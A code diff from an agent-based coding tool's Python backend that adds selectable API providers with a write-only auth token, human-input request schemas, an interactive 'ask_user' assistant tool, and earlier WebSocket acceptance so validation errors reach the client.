return SettingsResponse(
|
||||||
yolo_mode=_parse_yolo_mode(all_settings.get("yolo_mode")),
|
yolo_mode=_parse_yolo_mode(all_settings.get("yolo_mode")),
|
||||||
model=all_settings.get("model", DEFAULT_MODEL),
|
model=all_settings.get("model", DEFAULT_MODEL),
|
||||||
glm_mode=_is_glm_mode(),
|
glm_mode=glm_mode,
|
||||||
ollama_mode=_is_ollama_mode(),
|
ollama_mode=ollama_mode,
|
||||||
testing_agent_ratio=_parse_int(all_settings.get("testing_agent_ratio"), 1),
|
testing_agent_ratio=_parse_int(all_settings.get("testing_agent_ratio"), 1),
|
||||||
playwright_headless=_parse_bool(all_settings.get("playwright_headless"), default=True),
|
playwright_headless=_parse_bool(all_settings.get("playwright_headless"), default=True),
|
||||||
batch_size=_parse_int(all_settings.get("batch_size"), 3),
|
batch_size=_parse_int(all_settings.get("batch_size"), 3),
|
||||||
|
api_provider=api_provider,
|
||||||
|
api_base_url=all_settings.get("api_base_url"),
|
||||||
|
api_has_auth_token=bool(all_settings.get("api_auth_token")),
|
||||||
|
api_model=all_settings.get("api_model"),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@@ -114,14 +138,47 @@ async def update_settings(update: SettingsUpdate):
|
|||||||
if update.batch_size is not None:
|
if update.batch_size is not None:
|
||||||
set_setting("batch_size", str(update.batch_size))
|
set_setting("batch_size", str(update.batch_size))
|
||||||
|
|
||||||
|
# API provider settings
|
||||||
|
if update.api_provider is not None:
|
||||||
|
old_provider = get_setting("api_provider", "claude")
|
||||||
|
set_setting("api_provider", update.api_provider)
|
||||||
|
|
||||||
|
# When provider changes, auto-set defaults for the new provider
|
||||||
|
if update.api_provider != old_provider:
|
||||||
|
provider = API_PROVIDERS.get(update.api_provider)
|
||||||
|
if provider:
|
||||||
|
# Auto-set base URL from provider definition
|
||||||
|
if provider.get("base_url"):
|
||||||
|
set_setting("api_base_url", provider["base_url"])
|
||||||
|
# Auto-set model to provider's default
|
||||||
|
if provider.get("default_model") and update.api_model is None:
|
||||||
|
set_setting("api_model", provider["default_model"])
|
||||||
|
|
||||||
|
if update.api_base_url is not None:
|
||||||
|
set_setting("api_base_url", update.api_base_url)
|
||||||
|
|
||||||
|
if update.api_auth_token is not None:
|
||||||
|
set_setting("api_auth_token", update.api_auth_token)
|
||||||
|
|
||||||
|
if update.api_model is not None:
|
||||||
|
set_setting("api_model", update.api_model)
|
||||||
|
|
||||||
# Return updated settings
|
# Return updated settings
|
||||||
all_settings = get_all_settings()
|
all_settings = get_all_settings()
|
||||||
|
api_provider = all_settings.get("api_provider", "claude")
|
||||||
|
glm_mode = api_provider == "glm"
|
||||||
|
ollama_mode = api_provider == "ollama"
|
||||||
|
|
||||||
return SettingsResponse(
|
return SettingsResponse(
|
||||||
yolo_mode=_parse_yolo_mode(all_settings.get("yolo_mode")),
|
yolo_mode=_parse_yolo_mode(all_settings.get("yolo_mode")),
|
||||||
model=all_settings.get("model", DEFAULT_MODEL),
|
model=all_settings.get("model", DEFAULT_MODEL),
|
||||||
glm_mode=_is_glm_mode(),
|
glm_mode=glm_mode,
|
||||||
ollama_mode=_is_ollama_mode(),
|
ollama_mode=ollama_mode,
|
||||||
testing_agent_ratio=_parse_int(all_settings.get("testing_agent_ratio"), 1),
|
testing_agent_ratio=_parse_int(all_settings.get("testing_agent_ratio"), 1),
|
||||||
playwright_headless=_parse_bool(all_settings.get("playwright_headless"), default=True),
|
playwright_headless=_parse_bool(all_settings.get("playwright_headless"), default=True),
|
||||||
batch_size=_parse_int(all_settings.get("batch_size"), 3),
|
batch_size=_parse_int(all_settings.get("batch_size"), 3),
|
||||||
|
api_provider=api_provider,
|
||||||
|
api_base_url=all_settings.get("api_base_url"),
|
||||||
|
api_has_auth_token=bool(all_settings.get("api_auth_token")),
|
||||||
|
api_model=all_settings.get("api_model"),
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ from ..services.spec_chat_session import (
|
|||||||
remove_session,
|
remove_session,
|
||||||
)
|
)
|
||||||
from ..utils.project_helpers import get_project_path as _get_project_path
|
from ..utils.project_helpers import get_project_path as _get_project_path
|
||||||
from ..utils.validation import is_valid_project_name as validate_project_name
|
from ..utils.validation import is_valid_project_name, validate_project_name
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
@@ -49,7 +49,7 @@ async def list_spec_sessions():
|
|||||||
@router.get("/sessions/{project_name}", response_model=SpecSessionStatus)
|
@router.get("/sessions/{project_name}", response_model=SpecSessionStatus)
|
||||||
async def get_session_status(project_name: str):
|
async def get_session_status(project_name: str):
|
||||||
"""Get status of a spec creation session."""
|
"""Get status of a spec creation session."""
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||||
|
|
||||||
session = get_session(project_name)
|
session = get_session(project_name)
|
||||||
@@ -67,7 +67,7 @@ async def get_session_status(project_name: str):
|
|||||||
@router.delete("/sessions/{project_name}")
|
@router.delete("/sessions/{project_name}")
|
||||||
async def cancel_session(project_name: str):
|
async def cancel_session(project_name: str):
|
||||||
"""Cancel and remove a spec creation session."""
|
"""Cancel and remove a spec creation session."""
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||||
|
|
||||||
session = get_session(project_name)
|
session = get_session(project_name)
|
||||||
@@ -95,7 +95,7 @@ async def get_spec_file_status(project_name: str):
|
|||||||
This is used for polling to detect when Claude has finished writing spec files.
|
This is used for polling to detect when Claude has finished writing spec files.
|
||||||
Claude writes this status file as the final step after completing all spec work.
|
Claude writes this status file as the final step after completing all spec work.
|
||||||
"""
|
"""
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||||
|
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
@@ -105,7 +105,7 @@ async def get_spec_file_status(project_name: str):
|
|||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||||
|
|
||||||
from autocoder_paths import get_prompts_dir
|
from autoforge_paths import get_prompts_dir
|
||||||
status_file = get_prompts_dir(project_dir) / ".spec_status.json"
|
status_file = get_prompts_dir(project_dir) / ".spec_status.json"
|
||||||
|
|
||||||
if not status_file.exists():
|
if not status_file.exists():
|
||||||
@@ -166,22 +166,28 @@ async def spec_chat_websocket(websocket: WebSocket, project_name: str):
|
|||||||
- {"type": "error", "content": "..."} - Error message
|
- {"type": "error", "content": "..."} - Error message
|
||||||
- {"type": "pong"} - Keep-alive pong
|
- {"type": "pong"} - Keep-alive pong
|
||||||
"""
|
"""
|
||||||
if not validate_project_name(project_name):
|
# Always accept WebSocket first to avoid opaque 403 errors
|
||||||
|
await websocket.accept()
|
||||||
|
|
||||||
|
try:
|
||||||
|
project_name = validate_project_name(project_name)
|
||||||
|
except HTTPException:
|
||||||
|
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||||
await websocket.close(code=4000, reason="Invalid project name")
|
await websocket.close(code=4000, reason="Invalid project name")
|
||||||
return
|
return
|
||||||
|
|
||||||
# Look up project directory from registry
|
# Look up project directory from registry
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
if not project_dir:
|
if not project_dir:
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||||
await websocket.close(code=4004, reason="Project not found in registry")
|
await websocket.close(code=4004, reason="Project not found in registry")
|
||||||
return
|
return
|
||||||
|
|
||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||||
await websocket.close(code=4004, reason="Project directory not found")
|
await websocket.close(code=4004, reason="Project directory not found")
|
||||||
return
|
return
|
||||||
|
|
||||||
await websocket.accept()
|
|
||||||
|
|
||||||
session: Optional[SpecChatSession] = None
|
session: Optional[SpecChatSession] = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ from ..services.terminal_manager import (
|
|||||||
stop_terminal_session,
|
stop_terminal_session,
|
||||||
)
|
)
|
||||||
from ..utils.project_helpers import get_project_path as _get_project_path
|
from ..utils.project_helpers import get_project_path as _get_project_path
|
||||||
from ..utils.validation import is_valid_project_name as validate_project_name
|
from ..utils.validation import is_valid_project_name
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
@@ -89,7 +89,7 @@ async def list_project_terminals(project_name: str) -> list[TerminalInfoResponse
|
|||||||
Returns:
|
Returns:
|
||||||
List of terminal info objects
|
List of terminal info objects
|
||||||
"""
|
"""
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||||
|
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
@@ -122,7 +122,7 @@ async def create_project_terminal(
|
|||||||
Returns:
|
Returns:
|
||||||
The created terminal info
|
The created terminal info
|
||||||
"""
|
"""
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||||
|
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
@@ -148,7 +148,7 @@ async def rename_project_terminal(
|
|||||||
Returns:
|
Returns:
|
||||||
The updated terminal info
|
The updated terminal info
|
||||||
"""
|
"""
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||||
|
|
||||||
if not validate_terminal_id(terminal_id):
|
if not validate_terminal_id(terminal_id):
|
||||||
@@ -180,7 +180,7 @@ async def delete_project_terminal(project_name: str, terminal_id: str) -> dict:
|
|||||||
Returns:
|
Returns:
|
||||||
Success message
|
Success message
|
||||||
"""
|
"""
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
raise HTTPException(status_code=400, detail="Invalid project name")
|
raise HTTPException(status_code=400, detail="Invalid project name")
|
||||||
|
|
||||||
if not validate_terminal_id(terminal_id):
|
if not validate_terminal_id(terminal_id):
|
||||||
@@ -221,8 +221,12 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
|||||||
- {"type": "pong"} - Keep-alive response
|
- {"type": "pong"} - Keep-alive response
|
||||||
- {"type": "error", "message": "..."} - Error message
|
- {"type": "error", "message": "..."} - Error message
|
||||||
"""
|
"""
|
||||||
|
# Always accept WebSocket first to avoid opaque 403 errors
|
||||||
|
await websocket.accept()
|
||||||
|
|
||||||
# Validate project name
|
# Validate project name
|
||||||
if not validate_project_name(project_name):
|
if not is_valid_project_name(project_name):
|
||||||
|
await websocket.send_json({"type": "error", "message": "Invalid project name"})
|
||||||
await websocket.close(
|
await websocket.close(
|
||||||
code=TerminalCloseCode.INVALID_PROJECT_NAME, reason="Invalid project name"
|
code=TerminalCloseCode.INVALID_PROJECT_NAME, reason="Invalid project name"
|
||||||
)
|
)
|
||||||
@@ -230,6 +234,7 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
|||||||
|
|
||||||
# Validate terminal ID
|
# Validate terminal ID
|
||||||
if not validate_terminal_id(terminal_id):
|
if not validate_terminal_id(terminal_id):
|
||||||
|
await websocket.send_json({"type": "error", "message": "Invalid terminal ID"})
|
||||||
await websocket.close(
|
await websocket.close(
|
||||||
code=TerminalCloseCode.INVALID_PROJECT_NAME, reason="Invalid terminal ID"
|
code=TerminalCloseCode.INVALID_PROJECT_NAME, reason="Invalid terminal ID"
|
||||||
)
|
)
|
||||||
@@ -238,6 +243,7 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
|||||||
# Look up project directory from registry
|
# Look up project directory from registry
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
if not project_dir:
|
if not project_dir:
|
||||||
|
await websocket.send_json({"type": "error", "message": "Project not found in registry"})
|
||||||
await websocket.close(
|
await websocket.close(
|
||||||
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
||||||
reason="Project not found in registry",
|
reason="Project not found in registry",
|
||||||
@@ -245,6 +251,7 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
|||||||
return
|
return
|
||||||
|
|
||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
|
await websocket.send_json({"type": "error", "message": "Project directory not found"})
|
||||||
await websocket.close(
|
await websocket.close(
|
||||||
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
||||||
reason="Project directory not found",
|
reason="Project directory not found",
|
||||||
@@ -254,14 +261,13 @@ async def terminal_websocket(websocket: WebSocket, project_name: str, terminal_i
|
|||||||
# Verify terminal exists in metadata
|
# Verify terminal exists in metadata
|
||||||
terminal_info = get_terminal_info(project_name, terminal_id)
|
terminal_info = get_terminal_info(project_name, terminal_id)
|
||||||
if not terminal_info:
|
if not terminal_info:
|
||||||
|
await websocket.send_json({"type": "error", "message": "Terminal not found"})
|
||||||
await websocket.close(
|
await websocket.close(
|
||||||
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
code=TerminalCloseCode.PROJECT_NOT_FOUND,
|
||||||
reason="Terminal not found",
|
reason="Terminal not found",
|
||||||
)
|
)
|
||||||
return
|
return
|
||||||
|
|
||||||
await websocket.accept()
|
|
||||||
|
|
||||||
# Get or create terminal session for this project/terminal
|
# Get or create terminal session for this project/terminal
|
||||||
session = get_terminal_session(project_name, project_dir, terminal_id)
|
session = get_terminal_session(project_name, project_dir, terminal_id)
|
||||||
|
|
||||||
|
|||||||
@@ -120,16 +120,41 @@ class FeatureResponse(FeatureBase):
|
|||||||
in_progress: bool
|
in_progress: bool
|
||||||
blocked: bool = False # Computed: has unmet dependencies
|
blocked: bool = False # Computed: has unmet dependencies
|
||||||
blocking_dependencies: list[int] = Field(default_factory=list) # Computed
|
blocking_dependencies: list[int] = Field(default_factory=list) # Computed
|
||||||
|
needs_human_input: bool = False
|
||||||
|
human_input_request: dict | None = None
|
||||||
|
human_input_response: dict | None = None
|
||||||
|
|
||||||
class Config:
|
class Config:
|
||||||
from_attributes = True
|
from_attributes = True
|
||||||
|
|
||||||
|
|
||||||
|
class HumanInputField(BaseModel):
|
||||||
|
"""Schema for a single human input field."""
|
||||||
|
id: str
|
||||||
|
label: str
|
||||||
|
type: Literal["text", "textarea", "select", "boolean"] = "text"
|
||||||
|
required: bool = True
|
||||||
|
placeholder: str | None = None
|
||||||
|
options: list[dict] | None = None # For select: [{value, label}]
|
||||||
|
|
||||||
|
|
||||||
|
class HumanInputRequest(BaseModel):
|
||||||
|
"""Schema for an agent's human input request."""
|
||||||
|
prompt: str
|
||||||
|
fields: list[HumanInputField]
|
||||||
|
|
||||||
|
|
||||||
|
class HumanInputResponse(BaseModel):
|
||||||
|
"""Schema for a human's response to an input request."""
|
||||||
|
fields: dict[str, str | bool | list[str]]
|
||||||
|
|
||||||
|
|
||||||
class FeatureListResponse(BaseModel):
|
class FeatureListResponse(BaseModel):
|
||||||
"""Response containing list of features organized by status."""
|
"""Response containing list of features organized by status."""
|
||||||
pending: list[FeatureResponse]
|
pending: list[FeatureResponse]
|
||||||
in_progress: list[FeatureResponse]
|
in_progress: list[FeatureResponse]
|
||||||
done: list[FeatureResponse]
|
done: list[FeatureResponse]
|
||||||
|
needs_human_input: list[FeatureResponse] = Field(default_factory=list)
|
||||||
|
|
||||||
|
|
||||||
class FeatureBulkCreate(BaseModel):
|
class FeatureBulkCreate(BaseModel):
|
||||||
@@ -153,7 +178,7 @@ class DependencyGraphNode(BaseModel):
|
|||||||
id: int
|
id: int
|
||||||
name: str
|
name: str
|
||||||
category: str
|
category: str
|
||||||
status: Literal["pending", "in_progress", "done", "blocked"]
|
status: Literal["pending", "in_progress", "done", "blocked", "needs_human_input"]
|
||||||
priority: int
|
priority: int
|
||||||
dependencies: list[int]
|
dependencies: list[int]
|
||||||
|
|
||||||
@@ -190,9 +215,12 @@ class AgentStartRequest(BaseModel):
|
|||||||
@field_validator('model')
|
@field_validator('model')
|
||||||
@classmethod
|
@classmethod
|
||||||
def validate_model(cls, v: str | None) -> str | None:
|
def validate_model(cls, v: str | None) -> str | None:
|
||||||
"""Validate model is in the allowed list."""
|
"""Validate model is in the allowed list (Claude) or allow any model for alternative providers."""
|
||||||
if v is not None and v not in VALID_MODELS:
|
if v is not None and v not in VALID_MODELS:
|
||||||
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
from registry import get_all_settings
|
||||||
|
settings = get_all_settings()
|
||||||
|
if settings.get("api_provider", "claude") == "claude":
|
||||||
|
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
||||||
return v
|
return v
|
||||||
|
|
||||||
@field_validator('max_concurrency')
|
@field_validator('max_concurrency')
|
||||||
@@ -214,7 +242,7 @@ class AgentStartRequest(BaseModel):
|
|||||||
|
|
||||||
class AgentStatus(BaseModel):
|
class AgentStatus(BaseModel):
|
||||||
"""Current agent status."""
|
"""Current agent status."""
|
||||||
status: Literal["stopped", "running", "paused", "crashed"]
|
status: Literal["stopped", "running", "paused", "crashed", "pausing", "paused_graceful"]
|
||||||
pid: int | None = None
|
pid: int | None = None
|
||||||
started_at: datetime | None = None
|
started_at: datetime | None = None
|
||||||
yolo_mode: bool = False
|
yolo_mode: bool = False
|
||||||
@@ -254,6 +282,7 @@ class WSProgressMessage(BaseModel):
|
|||||||
in_progress: int
|
in_progress: int
|
||||||
total: int
|
total: int
|
||||||
percentage: float
|
percentage: float
|
||||||
|
needs_human_input: int = 0
|
||||||
|
|
||||||
|
|
||||||
class WSFeatureUpdateMessage(BaseModel):
|
class WSFeatureUpdateMessage(BaseModel):
|
||||||
@@ -391,15 +420,35 @@ class ModelInfo(BaseModel):
|
|||||||
name: str
|
name: str
|
||||||
|
|
||||||
|
|
||||||
|
class ProviderInfo(BaseModel):
|
||||||
|
"""Information about an API provider."""
|
||||||
|
id: str
|
||||||
|
name: str
|
||||||
|
base_url: str | None = None
|
||||||
|
models: list[ModelInfo]
|
||||||
|
default_model: str
|
||||||
|
requires_auth: bool = False
|
||||||
|
|
||||||
|
|
||||||
|
class ProvidersResponse(BaseModel):
|
||||||
|
"""Response schema for available providers list."""
|
||||||
|
providers: list[ProviderInfo]
|
||||||
|
current: str
|
||||||
|
|
||||||
|
|
||||||
class SettingsResponse(BaseModel):
|
class SettingsResponse(BaseModel):
|
||||||
"""Response schema for global settings."""
|
"""Response schema for global settings."""
|
||||||
yolo_mode: bool = False
|
yolo_mode: bool = False
|
||||||
model: str = DEFAULT_MODEL
|
model: str = DEFAULT_MODEL
|
||||||
glm_mode: bool = False # True if GLM API is configured via .env
|
glm_mode: bool = False # True when api_provider is "glm"
|
||||||
ollama_mode: bool = False # True if Ollama API is configured via .env
|
ollama_mode: bool = False # True when api_provider is "ollama"
|
||||||
testing_agent_ratio: int = 1 # Regression testing agents (0-3)
|
testing_agent_ratio: int = 1 # Regression testing agents (0-3)
|
||||||
playwright_headless: bool = True
|
playwright_headless: bool = True
|
||||||
batch_size: int = 3 # Features per coding agent batch (1-3)
|
batch_size: int = 3 # Features per coding agent batch (1-3)
|
||||||
|
api_provider: str = "claude"
|
||||||
|
api_base_url: str | None = None
|
||||||
|
api_has_auth_token: bool = False # Never expose actual token
|
||||||
|
api_model: str | None = None
|
||||||
|
|
||||||
|
|
||||||
class ModelsResponse(BaseModel):
|
class ModelsResponse(BaseModel):
|
||||||
@@ -415,12 +464,30 @@ class SettingsUpdate(BaseModel):
|
|||||||
testing_agent_ratio: int | None = None # 0-3
|
testing_agent_ratio: int | None = None # 0-3
|
||||||
playwright_headless: bool | None = None
|
playwright_headless: bool | None = None
|
||||||
batch_size: int | None = None # Features per agent batch (1-3)
|
batch_size: int | None = None # Features per agent batch (1-3)
|
||||||
|
api_provider: str | None = None
|
||||||
|
api_base_url: str | None = Field(None, max_length=500)
|
||||||
|
api_auth_token: str | None = Field(None, max_length=500) # Write-only, never returned
|
||||||
|
api_model: str | None = Field(None, max_length=200)
|
||||||
|
|
||||||
|
@field_validator('api_base_url')
|
||||||
|
@classmethod
|
||||||
|
def validate_api_base_url(cls, v: str | None) -> str | None:
|
||||||
|
if v is not None and v.strip():
|
||||||
|
v = v.strip()
|
||||||
|
if not v.startswith(("http://", "https://")):
|
||||||
|
raise ValueError("api_base_url must start with http:// or https://")
|
||||||
|
return v
|
||||||
|
|
||||||
@field_validator('model')
|
@field_validator('model')
|
||||||
@classmethod
|
@classmethod
|
||||||
def validate_model(cls, v: str | None) -> str | None:
|
def validate_model(cls, v: str | None, info) -> str | None: # type: ignore[override]
|
||||||
if v is not None and v not in VALID_MODELS:
|
if v is not None:
|
||||||
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
# Skip VALID_MODELS check when using an alternative API provider
|
||||||
|
api_provider = info.data.get("api_provider")
|
||||||
|
if api_provider and api_provider != "claude":
|
||||||
|
return v
|
||||||
|
if v not in VALID_MODELS:
|
||||||
|
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
||||||
return v
|
return v
|
||||||
|
|
||||||
@field_validator('testing_agent_ratio')
|
@field_validator('testing_agent_ratio')
|
||||||
@@ -533,9 +600,12 @@ class ScheduleCreate(BaseModel):
|
|||||||
@field_validator('model')
|
@field_validator('model')
|
||||||
@classmethod
|
@classmethod
|
||||||
def validate_model(cls, v: str | None) -> str | None:
|
def validate_model(cls, v: str | None) -> str | None:
|
||||||
"""Validate model is in the allowed list."""
|
"""Validate model is in the allowed list (Claude) or allow any model for alternative providers."""
|
||||||
if v is not None and v not in VALID_MODELS:
|
if v is not None and v not in VALID_MODELS:
|
||||||
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
from registry import get_all_settings
|
||||||
|
settings = get_all_settings()
|
||||||
|
if settings.get("api_provider", "claude") == "claude":
|
||||||
|
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
||||||
return v
|
return v
|
||||||
|
|
||||||
|
|
||||||
@@ -555,9 +625,12 @@ class ScheduleUpdate(BaseModel):
|
|||||||
@field_validator('model')
|
@field_validator('model')
|
||||||
@classmethod
|
@classmethod
|
||||||
def validate_model(cls, v: str | None) -> str | None:
|
def validate_model(cls, v: str | None) -> str | None:
|
||||||
"""Validate model is in the allowed list."""
|
"""Validate model is in the allowed list (Claude) or allow any model for alternative providers."""
|
||||||
if v is not None and v not in VALID_MODELS:
|
if v is not None and v not in VALID_MODELS:
|
||||||
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
from registry import get_all_settings
|
||||||
|
settings = get_all_settings()
|
||||||
|
if settings.get("api_provider", "claude") == "claude":
|
||||||
|
raise ValueError(f"Invalid model. Must be one of: {VALID_MODELS}")
|
||||||
return v
|
return v
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -25,7 +25,11 @@ from .assistant_database import (
|
|||||||
create_conversation,
|
create_conversation,
|
||||||
get_messages,
|
get_messages,
|
||||||
)
|
)
|
||||||
from .chat_constants import API_ENV_VARS, ROOT_DIR
|
from .chat_constants import (
|
||||||
|
ROOT_DIR,
|
||||||
|
check_rate_limit_error,
|
||||||
|
safe_receive_response,
|
||||||
|
)
|
||||||
|
|
||||||
# Load environment variables from .env file if present
|
# Load environment variables from .env file if present
|
||||||
load_dotenv()
|
load_dotenv()
|
||||||
@@ -47,8 +51,13 @@ FEATURE_MANAGEMENT_TOOLS = [
|
|||||||
"mcp__features__feature_skip",
|
"mcp__features__feature_skip",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# Interactive tools
|
||||||
|
INTERACTIVE_TOOLS = [
|
||||||
|
"mcp__features__ask_user",
|
||||||
|
]
|
||||||
|
|
||||||
# Combined list for assistant
|
# Combined list for assistant
|
||||||
ASSISTANT_FEATURE_TOOLS = READONLY_FEATURE_MCP_TOOLS + FEATURE_MANAGEMENT_TOOLS
|
ASSISTANT_FEATURE_TOOLS = READONLY_FEATURE_MCP_TOOLS + FEATURE_MANAGEMENT_TOOLS + INTERACTIVE_TOOLS
|
||||||
|
|
||||||
# Read-only built-in tools (no Write, Edit, Bash)
|
# Read-only built-in tools (no Write, Edit, Bash)
|
||||||
READONLY_BUILTIN_TOOLS = [
|
READONLY_BUILTIN_TOOLS = [
|
||||||
@@ -64,7 +73,7 @@ def get_system_prompt(project_name: str, project_dir: Path) -> str:
|
|||||||
"""Generate the system prompt for the assistant with project context."""
|
"""Generate the system prompt for the assistant with project context."""
|
||||||
# Try to load app_spec.txt for context
|
# Try to load app_spec.txt for context
|
||||||
app_spec_content = ""
|
app_spec_content = ""
|
||||||
from autocoder_paths import get_prompts_dir
|
from autoforge_paths import get_prompts_dir
|
||||||
app_spec_path = get_prompts_dir(project_dir) / "app_spec.txt"
|
app_spec_path = get_prompts_dir(project_dir) / "app_spec.txt"
|
||||||
if app_spec_path.exists():
|
if app_spec_path.exists():
|
||||||
try:
|
try:
|
||||||
@@ -123,6 +132,9 @@ If the user asks you to modify code, explain that you're a project assistant and
|
|||||||
- **feature_create_bulk**: Create multiple features at once
|
- **feature_create_bulk**: Create multiple features at once
|
||||||
- **feature_skip**: Move a feature to the end of the queue
|
- **feature_skip**: Move a feature to the end of the queue
|
||||||
|
|
||||||
|
**Interactive:**
|
||||||
|
- **ask_user**: Present structured multiple-choice questions to the user. Use this when you need to clarify requirements, offer design choices, or guide a decision. The user sees clickable option buttons and their selection is returned as your next message.
|
||||||
|
|
||||||
## Creating Features
|
## Creating Features
|
||||||
|
|
||||||
When a user asks to add a feature, use the `feature_create` or `feature_create_bulk` MCP tools directly:
|
When a user asks to add a feature, use the `feature_create` or `feature_create_bulk` MCP tools directly:
|
||||||
@@ -157,7 +169,7 @@ class AssistantChatSession:
|
|||||||
"""
|
"""
|
||||||
Manages a read-only assistant conversation for a project.
|
Manages a read-only assistant conversation for a project.
|
||||||
|
|
||||||
Uses Claude Opus 4.5 with only read-only tools enabled.
|
Uses Claude Opus with only read-only tools enabled.
|
||||||
Persists conversation history to SQLite.
|
Persists conversation history to SQLite.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -224,7 +236,7 @@ class AssistantChatSession:
|
|||||||
"allow": permissions_list,
|
"allow": permissions_list,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
from autocoder_paths import get_claude_assistant_settings_path
|
from autoforge_paths import get_claude_assistant_settings_path
|
||||||
settings_file = get_claude_assistant_settings_path(self.project_dir)
|
settings_file = get_claude_assistant_settings_path(self.project_dir)
|
||||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||||
with open(settings_file, "w") as f:
|
with open(settings_file, "w") as f:
|
||||||
@@ -258,15 +270,11 @@ class AssistantChatSession:
|
|||||||
system_cli = shutil.which("claude")
|
system_cli = shutil.which("claude")
|
||||||
|
|
||||||
# Build environment overrides for API configuration
|
# Build environment overrides for API configuration
|
||||||
sdk_env: dict[str, str] = {}
|
from registry import DEFAULT_MODEL, get_effective_sdk_env
|
||||||
for var in API_ENV_VARS:
|
sdk_env = get_effective_sdk_env()
|
||||||
value = os.getenv(var)
|
|
||||||
if value:
|
|
||||||
sdk_env[var] = value
|
|
||||||
|
|
||||||
# Determine model from environment or use default
|
# Determine model from SDK env (provider-aware) or fallback to env/default
|
||||||
# This allows using alternative APIs (e.g., GLM via z.ai) that may not support Claude model names
|
model = sdk_env.get("ANTHROPIC_DEFAULT_OPUS_MODEL") or os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", DEFAULT_MODEL)
|
||||||
model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL", "claude-opus-4-5-20251101")
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
logger.info("Creating ClaudeSDKClient...")
|
logger.info("Creating ClaudeSDKClient...")
|
||||||
@@ -390,27 +398,46 @@ class AssistantChatSession:
|
|||||||
full_response = ""
|
full_response = ""
|
||||||
|
|
||||||
# Stream the response
|
# Stream the response
|
||||||
async for msg in self.client.receive_response():
|
try:
|
||||||
msg_type = type(msg).__name__
|
async for msg in safe_receive_response(self.client, logger):
|
||||||
|
msg_type = type(msg).__name__
|
||||||
|
|
||||||
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
if msg_type == "AssistantMessage" and hasattr(msg, "content"):
|
||||||
for block in msg.content:
|
for block in msg.content:
|
||||||
block_type = type(block).__name__
|
block_type = type(block).__name__
|
||||||
|
|
||||||
if block_type == "TextBlock" and hasattr(block, "text"):
|
if block_type == "TextBlock" and hasattr(block, "text"):
|
||||||
text = block.text
|
text = block.text
|
||||||
if text:
|
if text:
|
||||||
full_response += text
|
full_response += text
|
||||||
yield {"type": "text", "content": text}
|
yield {"type": "text", "content": text}
|
||||||
|
|
||||||
elif block_type == "ToolUseBlock" and hasattr(block, "name"):
|
